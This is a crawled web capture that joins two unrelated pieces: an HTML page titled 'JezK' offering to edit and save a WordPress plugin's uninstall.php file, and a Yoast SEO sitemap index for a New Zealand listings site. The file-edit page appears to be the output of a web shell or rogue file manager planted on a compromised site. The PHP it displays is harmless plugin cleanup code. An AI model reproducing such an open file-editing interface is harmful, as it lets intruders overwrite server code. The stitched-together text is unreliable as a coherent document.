
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: uninstall.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Uninstall plugin.
 *
 * @package Auto Listings.
 */

// Exit if accessed directly.
if ( ! defined( &#039;WP_UNINSTALL_PLUGIN&#039; ) ) {
	exit;
}

// Load Auto_Listings file.
require_once &#039;auto-listings.php&#039;;

global $wpdb, $wp_roles;

$remove = auto_listings_option( &#039;delete_data&#039; );
if ( &#039;yes&#039; !== $remove ) {
	return;
}

$auto_listings_post_types = [ &#039;auto-listing&#039;, &#039;listing-enquiry&#039; ];
foreach ( $auto_listings_post_types as $auto_listings_post_type ) {
	$items = get_posts(
		[
			&#039;post_type&#039;   =&gt; $auto_listings_post_type,
			&#039;numberposts&#039; =&gt; - 1,
			&#039;post_status&#039; =&gt; [
				&#039;publish&#039;,
				&#039;pending&#039;,
				&#039;draft&#039;,
				&#039;auto-draft&#039;,
				&#039;future&#039;,
				&#039;private&#039;,
				&#039;inherit&#039;,
				&#039;trash&#039;,
			],
			&#039;fields&#039;      =&gt; &#039;ids&#039;,
		]
	);

	if ( $items ) {
		foreach ( $items as $item ) {
			wp_delete_post( $item, true );
		}
	}
}

/** Delete all the Plugin Options */
delete_option( &#039;auto_listings_options&#039; );
delete_option( &#039;auto_listings_version&#039; );
delete_option( &#039;auto_listings_version_upgraded_from&#039; );

/** Delete Capabilities */
$roles = new AutoListings\Roles();
$roles-&gt;remove_caps();

/** Delete the Roles */
$auto_listings_roles = [ &#039;auto_listings_seller&#039; ];
foreach ( $auto_listings_roles as $auto_listings_role ) {
	remove_role( $auto_listings_role );
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//peacefinder.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://peacefinder.co.nz/post-sitemap.xml</loc>
		<lastmod>2025-05-09T06:53:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/page-sitemap.xml</loc>
		<lastmod>2026-05-02T11:57:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listings-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/product-sitemap.xml</loc>
		<lastmod>2025-03-22T07:11:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listing_template-sitemap.xml</loc>
		<lastmod>2025-05-08T11:33:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/elementor-hf-sitemap.xml</loc>
		<lastmod>2025-03-28T03:15:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/category-sitemap.xml</loc>
		<lastmod>2025-05-09T06:50:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/condition-sitemap.xml</loc>
		<lastmod>2025-09-25T21:26:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/make-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/serie-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/body-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/ca-year-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/mileage-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/transmission-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/engine-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/exterior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/fuel-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/price-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/drive-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/interior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/stm_additional_features-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/author-sitemap.xml</loc>
		<lastmod>2025-05-22T10:05:43+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->